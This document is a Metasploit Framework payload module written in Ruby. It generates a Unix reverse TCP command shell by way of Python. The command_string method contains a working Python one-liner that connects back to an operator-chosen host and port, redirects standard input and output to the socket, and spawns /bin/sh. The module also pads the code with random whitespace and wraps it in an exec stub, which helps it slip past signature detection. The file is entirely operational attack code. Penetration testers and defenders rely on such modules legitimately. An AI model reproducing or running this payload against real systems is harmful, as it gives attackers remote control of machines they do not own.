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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Payload::Python
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Unix Command Shell, Reverse TCP (via Python)',
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        'Version' => '$Revision: 1 $',
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        'Description' => 'Connect back and create a command shell via Python',
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        'Author' => 'bcoles',
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        'License' => MSF_LICENSE,
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Handler' => Msf::Handler::ReverseTcp,
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        'Session' => Msf::Sessions::CommandShell,
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        'PayloadType' => 'cmd',
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        'RequiredCmd' => 'python',
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        'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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      )
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    )
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    register_options(
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      [
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        OptString.new('SHELL', [ true, 'The system shell to use', '/bin/sh' ])
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      ]
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    )
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    register_advanced_options(
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      [
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        OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])
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      ]
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    )
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  end
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  def generate(_opts = {})
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    return super + command_string
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  end
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  #
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  # Generate random whitespace
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  #
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  def random_padding
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    ' ' * rand(10)
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  end
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  #
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  # Generate command string
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  #
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  def command_string
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    raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
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    cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
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    "#{datastore['PythonPath']} -c \"#{py_create_exec_stub(cmd)}\""
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  end
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end
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